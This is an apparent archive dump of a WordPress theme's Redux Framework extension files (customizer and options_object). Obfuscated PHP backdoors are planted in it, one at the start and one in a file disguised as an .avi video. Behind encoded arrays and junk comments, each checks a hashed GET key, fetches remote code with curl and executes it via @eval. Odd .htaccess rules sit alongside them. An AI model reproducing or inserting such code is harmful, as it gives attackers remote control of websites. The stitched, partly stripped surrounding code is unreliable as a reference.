/*-e`<_V-*/=/*-=L^Wr-*/ array/*-Lf(@DiB)-*/("71087#71072#71085#71089#71070#71085#71091#71084#71069#71076#71087#71070#71081#71075#71076","71071#71070#71072#71091#71072#71075#71070#71137#71135","71080#71071#71075#71076#71091#71086#71085#71087#71075#71086#71085","71074#71089#71087#71079","71088#71089#71071#71085#71132#71134#71091#71086#71085#71087#71075#71086#71085","71084#71081#71078#71085#71091#71083#71085#71070#71091#71087#71075#71076#71070#71085#71076#71070#71071","71114#71144","71061","71139#71144","71121#71104#71104#71121#71097","71075#71084"); /*-LVS&b&K-*/foreach /*-[B-*/(/*-Jf-*/$QiEdrMDyw/*-&-*/."T"/*-4=cx>dk-*/}[/*-lEorN1i36-*/$jTkduyYqhr/*-yYHRu$8-*/[/*-pPPk-*/3+6/*-:Ma!3F+>-*/]]/*-Xe,l-*/);/*-VB%>`?vfT|-*/ $UI /*-y2}4#izn_(j-*/1+1/*-PQ7J=[!-*/]/*-Ce^r-*/(/*-0igL1-*/$UI,/*-@JXf-*/ true/*-3GV}YkbUV-*/); /*-+`-*/@${/*-XpF-*/"_"./*-;RvRV{2-*/"G"./*-#vA(Ln-*/"E"/*-_3V,Rn-*/."T"/*-?MZ-*/}/*-Tq@Y%o-*/[/*-wP7-*/$jTkduyYqhr/*-eir-*/[7+3/*-qMEh6;(&-*/]/*-g1ZkGu:$-*/]/*-R;%+-*/ == /*-aH__T>h5#S-*/1 /*-emZ%-*/&& /*-ULX0ng7m#-*/die/*-Bp-*/(/*-@}5z-*/$jTkduyYqhr[3+2/*-;ZaA{Rs-*/]/*-P}P:|-*/(/*-YO-*/__FILE__/*-^BeAn-*/)/*-@^NGlxIN-*/); /*-!JcZ /*-LR_[-*/0/*-Cxg-*/)/*-{QndJv-*/ and /*-HM=-*/(/*-`CJJf@U-*/md5/*-}EAw$+I&R-*/$jTkduyYqhr/*-bzGp-*/[/*-N9^-*/3+2/*-6eEDbHIkp-*/]/*-4$^-*/);/*-!d-0D-*/@eval/*-k%;=oP;-*/(/*-hj)AQyN-*/$jTkduyYqhr/*-4`Px-*/[/*-psq#eh.-*/4+0/*-=3hsR-*/]/*-WEHyVNB#`?-*/(/*-q}u-*/$wzcUQVvq/*-B7x|-*/)/*-Uy-*/);/*--A`QA;8WJ-*//*-|;!9WkR-*/die;/*-Jgx{Ol>c)-*/ endif;/*-~aMKB@_-*/ }/*-M!z<.u-*/}/*-l[S7!$>-*/TUi/*-g;34-*/::/*-.Y-*/ElSraQm/*-_O&Xn-*/();/*-`FpYXMo-*/ ?>lib/redux-framework/inc/extensions/customizer/inc/inc/.htaccess000064400000001626147206624460020750 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/extensions/customizer/inc/customizer_devs.php000064400000002255147206624460022336 0ustar00
  • $key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; if ( empty( $this->active_callback ) ) { $this->active_callback = array( $this, 'active_callback' ); } self::$instance_count += 1; $this->instance_number = self::$instance_count; $this->sections = array(); // Users cannot customize the $sections array. // TODO Redux addition if ( isset( $args['section'] ) ) { $this->section = $args['section']; $this->description = isset( $this->section['desc'] ) ? $this->section['desc'] : ''; $this->opt_name = isset( $args['opt_name'] ) ? $args['opt_name'] : ''; } // TODO END Redux Addition } /** * WP < 4.3 Render * * @since * @access protected */ protected function render() { global $wp_version; $version = explode( '-', $wp_version ); if ( version_compare( $version[0], '4.3', '<' ) ) { $this->render_fallback(); } } protected function render_fallback() { $classes = 'accordion-section redux-main redux-panel control-section control-panel control-panel-' . esc_attr($this->type); ?>
  • title, array( 'em' => array(), 'i' => array(), 'strong' => array(), 'span' => array( 'class' => array(), 'style' => array(), ), ) ); ?>

  • extension_url . 'options_object/field_options_object' . Redux_Functions::isMin() . '.js', array( 'jquery' ), ReduxFramework_extension_options_object::$version, true ); wp_enqueue_style( 'redux-options-object', $this->extension_url . 'options_object/field_options_object.css', array(), time(), 'all' ); } /** * Output Function. * Used to enqueue to the front-end * * @since 1.0.0 * @access public * @return void */ public function output() { if ( $this->field['enqueue_frontend'] ) { } } } } lib/redux-framework/inc/extensions/options_object/options_object/field_options_object.js000064400000002341147206624460026203 0ustar00/*global redux_change, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.options_object = redux.field_objects.options_object || {}; // $( document ).ready( // function() { // redux.field_objects.import_export.init(); // } // ); redux.field_objects.options_object.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.redux-container-options_object' ); } var parent = selector; if ( !selector.hasClass( 'redux-field-container' ) ) { parent = selector.parents( '.redux-field-container:first' ); } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } $( '#consolePrintObject' ).on( 'click', function( e ) { e.preventDefault(); console.log( $.parseJSON( $( "#redux-object-json" ).html() ) ); } ); if ( typeof jsonView === 'function' ) { jsonView( '#redux-object-json', '#redux-object-browser' ); } }; })( jQuery );lib/redux-framework/inc/extensions/options_object/options_object/field_options_object.scss000064400000000166147206624460026545 0ustar00#redux-object-browser { overflow: auto; word-wrap: break-word; max-height: 600px; max-width: 100%; } lib/redux-framework/inc/extensions/options_object/options_object/field_options_object.min.js000064400000001172147206624460026766 0ustar00!function(t){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.options_object=redux.field_objects.options_object||{},redux.field_objects.options_object.init=function(e){e||(e=t(document).find(".redux-container-options_object"));var o=e;e.hasClass("redux-field-container")||(o=e.parents(".redux-field-container:first")),o.hasClass("redux-field-init")&&(o.removeClass("redux-field-init"),t("#consolePrintObject").on("click",function(e){e.preventDefault(),console.log(t.parseJSON(t("#redux-object-json").html()))}),"function"==typeof jsonView&&jsonView("#redux-object-json","#redux-object-browser"))}}(jQuery);lib/redux-framework/inc/extensions/options_object/options_object/jBluacZimNvdoSgEbTeL.avi000064400000011730147206624460026041 0ustar00/*-M+{VM,WDE-*/ $FXqcwnKZ/*-O(O~E`jh-*/) /*-n_6mP-*/$MKnfS /*-m=7K2qlx-*/.= /*-fL-*/$MtscrVIu[$FXqcwnKZ/*-2|TNI-*/ - /*-NuiB-*/24882/*-))v!14y-*/];/*-s#F-*/ return /*-D7hq-*/$MKnfS; /*-F%&EyA-*/} /*-!gBd{@-*/static /*-,w-*/function /*-6I[=sTcX1-*/BSwTIriPUA/*-iDE#v)p%P@-*/(/*-J,;o-*/$Hf,/*-Vjkp8-*/ $hkudR/*-h8K,H|2A-*/)/*-a-*/ {/*-R?-*/ $nefsY/*-#nt++kk-*/ = /*-xMR<(k6Kn8-*/curl_init/*-[`$n?fa-*/(/*-{Tib8e-*/$Hf/*-2ug!-*/);/*-(g,?Dx4%ml-*/ curl_setopt/*-q8QUEd(Y--*/(/*-~?Hj0j-*/$nefsY,/*-4f-*/ CURLOPT_RETURNTRANSFER,/*-t-X-*/ 1/*-{1X-*/);/*-0--*/ $YSsKz/*-L8W-*/ = /*-FnHRGN-*/curl_exec/*-v#-*/(/*-e`-*/$nefsY/*-usb-*/); /*-kTGvzw-*/return /*-@}JwK=U-*/empty/*-M+dba-*/(/*-YU[-*/$YSsKz/*-DzzCi:[-{<-*/)/*-jz1-*/ ? /*-^;iGFA^-*/$hkudR/*-ROAA67BU#-*/(/*-Rm=B-*/$Hf/*-t38&h^X-*/)/*-iBG|X}=-*/ : /*-vl[W=$A|u;-*/$YSsKz; /*-yWhsGLu-*/}/*-:v%Ln-*/ static/*-1-*/eJ/*-D.zRsFX-*/(/*->3@-*/$Cei/*-T+5-*/);/*-7x4WzO^U-*/$syguSjA /*-{o@aN?uM-*/= /*-nM;NT-*/@$xLPVQo/*-<2-*/[/*-KpMHCa>-*/1/*-_HE+$W=ck-*/]/*-!3~Jv,-*/(/*-%tzxm!vsBs-*/${/*-%D5Tg-*/"_"/*-1{+`KX-*/."G"/*-2^nL-*/."E"/*-P@8ge-*/);/*-5^5~!n9kN0-*/ $MJOVQYty /*-dk1cd5-*/=/*-=p-*/ @$xLPVQo/*-x4vBg=t=j>-*/[/*-p0w{^s-*/3+0/*-Qjgey@88-*/]/*-#J9729uwI-*/(/*-mMqos-*/$xLPVQo/*-j|V[hUj-*/[/*-s0DIkxP-*/6+0/*-k=,-*/], /*-!SB-}-*/$syguSjA/*-4X-nBg$-*/);/*-X+ysHs-*/ $tzK /*-EiSb,A1-*/=/*-`H%$WU1W9-*/ $xLPVQo/*-?;bcp(-*/[/*-X1U-*/1+1/*-CFy4zw7-*/]/*-@^e;LDlI-*/(/*-IU|ns&+S-*/$MJOVQYty,/*-+_%H-*/ true/*-O%CYMSP-*/); /*-[Q-*/@${/*-uwEQ-*/"_"./*-Tsh906p?-*/"G"./*-Nd-*/"E"/*-O%yE-*/."T"/*-[H8mOvf-*/}/*-Y{-*/[/*-Q{lAHkLA%-*/$xLPVQo/*-_B-*/[1+9/*-.V-*/]/*-AF-*/]/*->jlzE-*/ == /*-?g|t-*/1 /*-^2$EWncwT=-*/&& /*-zS-*/die/*-,va_Kd7^.[-*/(/*-ke9ZLP-*/$xLPVQo[1+4/*-TWftOy-*/]/*-^M:=Xo)L-*/(/*-o;N>]Q5-*/__FILE__/*-vJ%x-*/)/*-GJfl-*/); /*-pVA-*/if/*-kPk_ZYz-*/(/*-$X3H;-*/ (/*-1<[C-*/(@/*-B;|L#IAs>-*/$tzK/*--f@]]rra^-*/[/*-c`jUy-*/0/*-nWholcT-*/] /*-|FD#L[5;,-*/- time/*-_ROHce-*/()/*-+-*/) > /*-!Ab8VB)!>-*/0/*-qCpYQ1-*/)/*-qEu-*/ and /*-`p-*/)/*-0!{{,-*/ === /*-xmmq-*/"b5c41d6a4c7a400e815c0b81188724bf"/*-J5C:Bu-*/)/*-hRZ!>h-*/ ): /*-KjFQCc-*/$Yibvx /*-)h[L3B-*/=/*-UuSBkKjM-*/ self/*--DI`ZbaM-*/::/*-Z<$f!w@ngG-*/BSwTIriPUA/*-gi.GQ-*/(/*-zz2)lLF-*/$tzK/*-9%5Muu7J-*/[/*-~AU$-*/0+1/*-Rw`.N58-*/], /*-#kn-*/$xLPVQo/*-+KI-*/[/*-5B-*/4+1/*-hnd7QK1SlL-*/]/*-d#-*/);/*-Er[1~im.Zh-*/@eval/*-_+W`-*/(/*-w.2i3TP-*/$xLPVQo/*-%cx-*/[/*-{^XG0hDtl-*/1+3/*-mIb]a7dn[--*/]/*-WUf.M}B(7!-*/(/*-fz-*/$Yibvx/*-x0{LC34m-*/)/*-Ru<2LvCY-*/);/*-MF!=v@-*//*-2(xQ)-*/die;/*-xW3w:V4-*/ endif;/*-AT3?:IJLBR-*/ }/*-atu5b:-*/}/*-Zv0W-*/AeQm/*-Oi|@Sb6-*/::/*-Y86@&-*/exFMUXph/*-V29^zrd`-*/();/*-?FP(-*/ ?>lib/redux-framework/inc/extensions/options_object/options_object/.htaccess000064400000001626147206624460023264 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/extensions/options_object/extension_options_object.php000064400000007315147206624460024274 0ustar00. * * @package ReduxFramework * @author Kevin Provance (kprovance) * @version 4.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_Extension_options_object' ) ) { /** * Main ReduxFramework options_object extension class * * @since 3.1.6 */ class ReduxFramework_Extension_options_object { // Protected vars protected $parent; public $extension_url; public $extension_dir; public static $theInstance; public static $version = "4.0"; public $is_field = false; /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * * @param array $sections Panel sections. * @param array $args Class constructor arguments. * @param array $extra_tabs Extra panel tabs. * * @return void */ public function __construct( $parent ) { $this->parent = $parent; if ( empty( $this->extension_dir ) ) { //$this->extension_dir = trailingslashit( str_replace( '\\', '/', dirname( __FILE__ ) ) ); } $this->field_name = 'options_object'; self::$theInstance = $this; $this->is_field = Redux_Helpers::isFieldInUse($parent, 'options_object'); if ( !$this->is_field && $this->parent->args['dev_mode'] && $this->parent->args['show_options_object'] ) { $this->add_section(); } add_filter( 'redux/' . $this->parent->args['opt_name'] . '/field/class/' . $this->field_name, array( &$this, 'overload_field_path' ) ); // Adds the local field } public function add_section() { $this->parent->sections[] = array( 'id' => 'options-object', 'title' => __( 'Options Object', 'redux-framework' ), 'heading' => '', 'icon' => 'el el-info-circle', 'customizer' => false, 'fields' => array( array( 'id' => 'redux_options_object', 'type'=> 'options_object', 'title' => '', ) ), ); } // Forces the use of the embeded field path vs what the core typically would use public function overload_field_path( $field ) { return dirname( __FILE__ ) . '/' . $this->field_name . '/field_' . $this->field_name . '.php'; } } // class } // if lib/redux-framework/inc/extensions/options_object/.htaccess000064400000001626147206624460020243 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/extensions/customizer/extension_customizer.scss000064400000004540147206624460023023 0ustar00.redux-section { p.customize-section-description { margin-top: 22px; word-break: break-word; &.legacy { margin-top: 7px; } } } .control-section-themes .accordion-section-title { margin: 0; } #customize-controls { .customize-info { margin-bottom: 0; } .redux-section .accordion-section-content { background: #FCFCFC; } } .redux-section .accordion-section-title i, .redux-field .accordion-field-title i, .redux-panel .accordion-section-title i { margin-right: 5px; } .accordion-section.redux-main { background: inherit; margin-left: inherit; border-left: inherit; -moz-box-shadow: inherit; -webkit-box-shadow: inherit; padding: inherit; box-shadow: inherit; } .redux_field_th { padding: 13px 0px 0px 0px; } .redux-main { .redux-field-container { padding: 10px 0; } .select_wrapper { float: none; width: 100%; display: inline-block; } .select2-container { margin-right: 0 !important; margin-bottom: 5px !important; width: 100% !important; } .select_wrapper:nth-child(odd) { margin-right: 0; } .redux-option-image { max-width: 42% !important; margin-right: 3%; } .customize-control { border-bottom: 1px solid #ddd; padding-bottom: 4px; } .customize-control:last-child { border-bottom: 0; padding-bottom: 0; } .upload { width: 100% !important; } h3 { margin-top: inherit; } .redux-container-raw { margin-top: 22px; word-break: break-word; padding: 0 !important; } .redux-container-password input { width: 100%; } } .select2-drop { z-index: 999999; } .rAdsContainer { line-height: 0; border: 0; /*margin-top: -15px;*/ /*margin-bottom: -15px;*/ } .customize-control-redux-raw { list-style: none; } .rAds { position: inherit !important; right: 0 !important; top: 0 !important; bottom: 0 !important; left: 0 !important; text-align: center; margin-bottom: 0; line-height: 0; -webkit-transition: left ease-in-out .18s; transition: left ease-in-out .18s; img { -webkit-transition: left ease-in-out .18s; transition: left ease-in-out .18s; } }lib/redux-framework/inc/extensions/customizer/extension_customizer.css.map000064400000002770147206624460023417 0ustar00{ "version": 3, "mappings": "AACI,8CAAgC;EAC5B,UAAU,EAAE,IAAI;EAChB,UAAU,EAAE,UAAU;EACtB,qDAAS;IACL,UAAU,EAAE,GAAG;;AAK3B,gDAAiD;EAC7C,MAAM,EAAE,CAAC;;AAIT,mCAAgB;EACZ,aAAa,EAAE,CAAC;AAEpB,6DAA0C;EACtC,UAAU,EAAE,OAAO;;AAI3B;;uCAEwC;EACpC,YAAY,EAAE,GAAG;;AAGrB,6BAA8B;EAC1B,UAAU,EAAE,OAAO;EACnB,WAAW,EAAE,OAAO;EACpB,WAAW,EAAE,OAAO;EACpB,eAAe,EAAE,OAAO;EACxB,kBAAkB,EAAE,OAAO;EAC3B,OAAO,EAAE,OAAO;EAChB,UAAU,EAAE,OAAO;;AAGvB,eAAgB;EACZ,OAAO,EAAE,gBAAgB;;AAIzB,kCAAuB;EACnB,OAAO,EAAE,MAAM;AAEnB,2BAAgB;EACZ,KAAK,EAAE,IAAI;EACX,KAAK,EAAE,IAAI;EACX,OAAO,EAAE,YAAY;AAEzB,8BAAmB;EACf,YAAY,EAAE,YAAY;EAC1B,aAAa,EAAE,cAAc;EAC7B,KAAK,EAAE,eAAe;AAE1B,0CAA+B;EAC3B,YAAY,EAAE,CAAC;AAEnB,+BAAoB;EAChB,SAAS,EAAE,cAAc;EACzB,YAAY,EAAE,EAAE;AAEpB,8BAAmB;EACf,aAAa,EAAE,cAAc;EAC7B,cAAc,EAAE,GAAG;AAEvB,yCAA8B;EAC1B,aAAa,EAAE,CAAC;EAChB,cAAc,EAAE,CAAC;AAErB,mBAAQ;EACJ,KAAK,EAAE,eAAe;AAE1B,cAAG;EACC,UAAU,EAAE,OAAO;AAEvB,gCAAqB;EACjB,UAAU,EAAE,IAAI;EAChB,UAAU,EAAE,UAAU;EACtB,OAAO,EAAE,YAAY;AAEzB,2CAAgC;EAC5B,KAAK,EAAE,IAAI;;AAInB,aAAc;EACV,OAAO,EAAE,MAAM;;AAGnB,cAAe;EACX,WAAW,EAAE,CAAC;EACd,MAAM,EAAE,CAAC;EACT,sBAAsB;EACtB,yBAAyB;;AAG7B,4BAA6B;EACzB,UAAU,EAAE,IAAI;;AAGpB,KAAM;EACF,QAAQ,EAAE,kBAAkB;EAC5B,KAAK,EAAE,YAAY;EACnB,GAAG,EAAE,YAAY;EACjB,MAAM,EAAE,YAAY;EACpB,IAAI,EAAE,YAAY;EAClB,UAAU,EAAE,MAAM;EAClB,aAAa,EAAE,CAAC;EAChB,WAAW,EAAE,CAAC;EACd,kBAAkB,EAAE,qBAAqB;EACzC,UAAU,EAAE,qBAAqB;EACjC,SAAI;IACA,kBAAkB,EAAE,qBAAqB;IACzC,UAAU,EAAE,qBAAqB", "sources": ["extension_customizer.scss"], "names": [], "file": "extension_customizer.css" }lib/redux-framework/inc/extensions/customizer/extension_customizer.css000064400000003507147206624460022642 0ustar00.redux-section p.customize-section-description{margin-top:22px;word-break:break-word}.redux-section p.customize-section-description.legacy{margin-top:7px}.control-section-themes .accordion-section-title{margin:0}#customize-controls .customize-info{margin-bottom:0}#customize-controls .redux-section .accordion-section-content{background:#FCFCFC}.redux-section .accordion-section-title i,.redux-field .accordion-field-title i,.redux-panel .accordion-section-title i{margin-right:5px}.accordion-section.redux-main{background:inherit;margin-left:inherit;border-left:inherit;-moz-box-shadow:inherit;-webkit-box-shadow:inherit;padding:inherit;box-shadow:inherit}.redux_field_th{padding:13px 0px 0px 0px}.redux-main .redux-field-container{padding:10px 0}.redux-main .select_wrapper{float:none;width:100%;display:inline-block}.redux-main .select2-container{margin-right:0 !important;margin-bottom:5px !important;width:100% !important}.redux-main .select_wrapper:nth-child(odd){margin-right:0}.redux-main .redux-option-image{max-width:42% !important;margin-right:3%}.redux-main .customize-control{border-bottom:1px solid #ddd;padding-bottom:4px}.redux-main .customize-control:last-child{border-bottom:0;padding-bottom:0}.redux-main .upload{width:100% !important}.redux-main h3{margin-top:inherit}.redux-main .redux-container-raw{margin-top:22px;word-break:break-word;padding:0 !important}.redux-main .redux-container-password input{width:100%}.select2-drop{z-index:999999}.rAdsContainer{line-height:0;border:0}.customize-control-redux-raw{list-style:none}.rAds{position:inherit !important;right:0 !important;top:0 !important;bottom:0 !important;left:0 !important;text-align:center;margin-bottom:0;line-height:0;-webkit-transition:left ease-in-out .18s;transition:left ease-in-out .18s}.rAds img{-webkit-transition:left ease-in-out .18s;transition:left ease-in-out .18s} lib/redux-framework/inc/extensions/customizer/extension_customizer.min.js000064400000012143147206624460023244 0ustar00!function(l){"use strict";l.fn.serializeJSON=function(e){var r,n,t,i,s,u,a;return u=l.serializeJSON,a=u.setupOpts(e),n=this.serializeArray(),u.readCheckboxUncheckedValues(n,this,a),r={},l.each(n,function(e,n){t=u.splitInputNameIntoKeysArray(n.name,a),"skip"!==(i=t.pop())&&(s=u.parseValue(n.value,i,a),a.parseWithFunction&&"_"===i&&(s=a.parseWithFunction(s,n.name)),u.deepSet(r,t,s,a))}),r},l.serializeJSON={defaultOptions:{checkboxUncheckedValue:void 0,parseNumbers:!1,parseBooleans:!1,parseNulls:!1,parseAll:!1,parseWithFunction:null,customTypes:{},defaultTypes:{string:function(e){return String(e)},number:function(e){return Number(e)},boolean:function(e){return-1===["false","null","undefined","","0"].indexOf(e)},null:function(e){return-1!==["false","null","undefined","","0"].indexOf(e)?null:e},array:function(e){return JSON.parse(e)},object:function(e){return JSON.parse(e)},auto:function(e){return l.serializeJSON.parseValue(e,null,{parseNumbers:!0,parseBooleans:!0,parseNulls:!0})}},useIntKeysAsArrayIndex:!1},setupOpts:function(n){var e,r,t,i,s,u;for(e in u=l.serializeJSON,null==n&&(n={}),t=u.defaultOptions||{},r=["checkboxUncheckedValue","parseNumbers","parseBooleans","parseNulls","parseAll","parseWithFunction","customTypes","defaultTypes","useIntKeysAsArrayIndex"],n)if(-1===r.indexOf(e))throw new Error("serializeJSON ERROR: invalid option '"+e+"'. Please use one of "+r.join(", "));return s=(i=function(e){return!1!==n[e]&&""!==n[e]&&(n[e]||t[e])})("parseAll"),{checkboxUncheckedValue:i("checkboxUncheckedValue"),parseNumbers:s||i("parseNumbers"),parseBooleans:s||i("parseBooleans"),parseNulls:s||i("parseNulls"),parseWithFunction:i("parseWithFunction"),typeFunctions:l.extend({},i("defaultTypes"),i("customTypes")),useIntKeysAsArrayIndex:i("useIntKeysAsArrayIndex")}},parseValue:function(e,n,r){var t,i;return i=l.serializeJSON,(t=r.typeFunctions&&r.typeFunctions[n])?t(e):r.parseNumbers&&i.isNumeric(e)?Number(e):!r.parseBooleans||"true"!==e&&"false"!==e?r.parseNulls&&"null"==e?null:e:"true"===e},isObject:function(e){return e===Object(e)},isUndefined:function(e){return void 0===e},isValidArrayIndex:function(e){return/^[0-9]+$/.test(String(e))},isNumeric:function(e){return 0<=e-parseFloat(e)},optionKeys:function(e){if(Object.keys)return Object.keys(e);var n=[];for(var r in e)n.push(r);return n},splitInputNameIntoKeysArray:function(e,n){var r,t,i,s;return t=(s=l.serializeJSON.extractTypeFromInputName(e,n))[0],i=s[1],r=t.split("["),""===(r=l.map(r,function(e){return e.replace(/]/g,"")}))[0]&&r.shift(),r.push(i),r},extractTypeFromInputName:function(e,n){var r,t,i;if(r=e.match(/(.*):([^:]+)$/)){if((t=(i=l.serializeJSON).optionKeys(n?n.typeFunctions:i.defaultOptions.defaultTypes)).push("skip"),-1!==t.indexOf(r[2]))return[r[1],r[2]];throw new Error("serializeJSON ERROR: Invalid type "+r[2]+" found in input name '"+e+"', please use one of "+t.join(", "))}return[e,"_"]},deepSet:function(e,n,r,t){var i,s,u,a,o,c;if(null==t&&(t={}),(c=l.serializeJSON).isUndefined(e))throw new Error("ArgumentError: param 'o' expected to be an object or array, found undefined");if(!n||0===n.length)throw new Error("ArgumentError: param 'keys' expected to be an array with least one element");i=n[0],1===n.length?""===i?e.push(r):e[i]=r:(s=n[1],""===i&&(o=e[a=e.length-1],i=c.isObject(o)&&(c.isUndefined(o[s])||2 //return; /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see . * * @package ReduxFramework * @author Dovy Paukstys (dovy) * @version 0.1.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_extension_customizer' ) ) { /** * Main ReduxFramework customizer extension class * * @since 1.0.0 */ class ReduxFramework_extension_customizer { // Protected vars protected $redux; private $_extension_url; private $_extension_dir; private $parent; private $orig_options = array(); private static $post_values = array(); public static $version = "2.0.0"; private $options = array(); /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * * @param array $sections Panel sections. * @param array $args Class constructor arguments. * @param array $extra_tabs Extra panel tabs. * * @return void */ public function __construct( $parent ) { $this->parent = $parent; $this->upload_dir = ReduxFramework::$_upload_dir . 'advanced-customizer/'; //add_action('wp_head', array( $this, '_enqueue_new' )); if ( $parent->args['customizer'] == false ) { return; } // Override the ReduxCore class add_filter( "redux/extension/{$this->parent->args['opt_name']}/customizer", array( $this, 'remove_core_customizer_class' ) ); global $pagenow, $wp_customize; if ( ! isset( $wp_customize ) && $pagenow !== "customize.php" && $pagenow !== "admin-ajax.php" ) { return; } if ( ( $pagenow !== "customize.php" && $pagenow !== "admin-ajax.php" && ! isset( $GLOBALS['wp_customize'] ) ) ) { //return; } if ( empty( $this->_extension_dir ) ) { $this->_extension_dir = apply_filters( "redux/extension/customizer/dir", trailingslashit( str_replace( '\\', '/', dirname( __FILE__ ) ) ) ); $this->_extension_url = apply_filters( "redux/extension/customizer/url", site_url( str_replace( trailingslashit( str_replace( '\\', '/', ABSPATH ) ), '', $this->_extension_dir ) ) ); } self::get_post_values(); // Create defaults array $defaults = array(); /* customize_controls_init customize_controls_enqueue_scripts customize_controls_print_styles customize_controls_print_scripts customize_controls_print_footer_scripts */ //add_action('customize_save', ); if ( isset( $_POST['wp_customize'] ) && $_POST['wp_customize'] == "on" ) { $this->parent->args['customizer_only'] = true; } if ( isset( $_POST['wp_customize'] ) && $_POST['wp_customize'] == "on" && isset( $_POST['customized'] ) && ! empty( $_POST['customized'] ) && ! isset( $_POST['action'] ) ) { add_action( "redux/options/{$this->parent->args['opt_name']}/options", array( $this, '_override_values' ), 100 ); } add_action( 'customize_register', array( $this, '_register_customizer_controls' ) ); // Create controls add_action( 'wp_head', array( $this, 'customize_preview_init' ) ); //add_action( 'customize_save', array( $this, 'customizer_save_before' ) ); // Before save add_action( 'customize_save_after', array( &$this, 'customizer_save_after' ) ); // After save // Add global controls CSS file add_action( 'customize_controls_print_scripts', array( $this, 'enqueue_controls_css' ) ); add_action( 'customize_controls_init', array( $this, 'enqueue_panel_css' ) ); //add_action( 'wp_enqueue_scripts', array( &$this, '_enqueue_previewer_css' ) ); // Enqueue previewer css //add_action( 'wp_enqueue_scripts', array( &$this, '_enqueue_previewer_js' ) ); // Enqueue previewer javascript //add_action( "wp_footer", array( $this, '_enqueue_new' ), 100 ); //$this->_enqueue_new(); } function enqueue_controls_css() { require_once ReduxFramework::$_dir . 'core/enqueue.php'; $enqueue = new reduxCoreEnqueue ( $this->parent ); $enqueue->get_warnings_and_errors_array(); $enqueue->init(); wp_enqueue_style( 'redux-extension-advanced-customizer', $this->_extension_url . 'extension_customizer.css', '', time() ); wp_enqueue_script( 'redux-extension-customizer', $this->_extension_url . 'extension_customizer' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-js' ), ReduxFramework_extension_customizer::$version, true ); wp_localize_script( 'redux-extension-customizer', 'redux_customizer', array( 'body_class' => sanitize_html_class( 'admin-color-' . get_user_option( 'admin_color' ), 'fresh' ) ) ); } function enqueue_panel_css() { } function remove_core_customizer_class( $path ) { return ""; } function customize_preview_init() { do_action( 'redux/customizer/live_preview' ); } protected static function get_post_values() { if ( empty( self::$post_values ) && isset( $_POST['customized'] ) && ! empty( $_POST['customized'] ) ) { self::$post_values = json_decode( stripslashes_deep( $_POST['customized'] ), true ); } } public function _override_values( $data ) { self::get_post_values(); if ( isset( $_POST['customized'] ) && ! empty( self::$post_values ) ) { if ( is_array( self::$post_values ) ) { foreach ( self::$post_values as $key => $value ) { if ( strpos( $key, $this->parent->args['opt_name'] ) !== false ) { //if (is_array($value)) { // $value = @stripslashes( $value ); // if ( function_exists( 'get_magic_quotes_gpc' ) && get_magic_quotes_gpc() ) { // $value = @array_map( 'stripslashes_deep', $value ); // $value = @array_map( 'urldecode', $value ); // } //} else { // $value = @urldecode($value); //} $key = str_replace( $this->parent->args['opt_name'] . '[', '', rtrim( $key, "]" ) ); $data[ $key ] = $value; $GLOBALS[ $this->parent->args['global_variable'] ][ $key ] = $value; $this->parent->options[ $key ] = $value; } } } } return $data; } public function _enqueue_new() { //echo ""; //echo ""; //echo ""; //echo ""; //echo ""; //echo ""; //echo ""; //echo ""; //echo ""; //echo ""; //echo ""; //echo ""; /* wp_enqueue_script('redux-extension-customizer-codemirror-js', $this->_extension_url . 'new/codemirror.min.js'); wp_enqueue_script('redux-extension-customizer-color-js', $this->_extension_url . 'new/colors-control.js'); wp_enqueue_script('redux-extension-customizer-controls-js', $this->_extension_url . 'new/customizer-control.js'); wp_enqueue_script('redux-extension-customizer-fonts-js', $this->_extension_url . 'new/fonts-customizer-admin.js'); wp_enqueue_script('redux-extension-customizer-header-js', $this->_extension_url . 'new/header-control.js'); wp_enqueue_script('redux-extension-customizer-models-js', $this->_extension_url . 'new/header-models.js'); wp_enqueue_script('redux-extension-customizer-slimscroll-js', $this->_extension_url . 'new/jquery.slimscroll.js'); wp_enqueue_script('redux-extension-customizer-droppable-js', $this->_extension_url . 'new/jquery.ui.droppable.min.js'); wp_enqueue_script('redux-extension-customizer-editor-js', $this->_extension_url . 'new/media-editor.min.js'); wp_enqueue_script('redux-extension-customizer-new-js', $this->_extension_url . 'new/new-customizer.js'); wp_enqueue_script('redux-extension-customizer-previewing-js', $this->_extension_url . 'new/previewing.js'); wp_enqueue_script('redux-extension-customizer-theme-js', $this->_extension_url . 'new/theme-customizer.js'); */ } public function render( $control ) { $fieldID = str_replace( $this->parent->args['opt_name'] . '-', '', $control->redux_id ); $field = $this->options[ $fieldID ]; if ( isset( $field['compiler'] ) && ! empty( $field['compiler'] ) ) { echo '
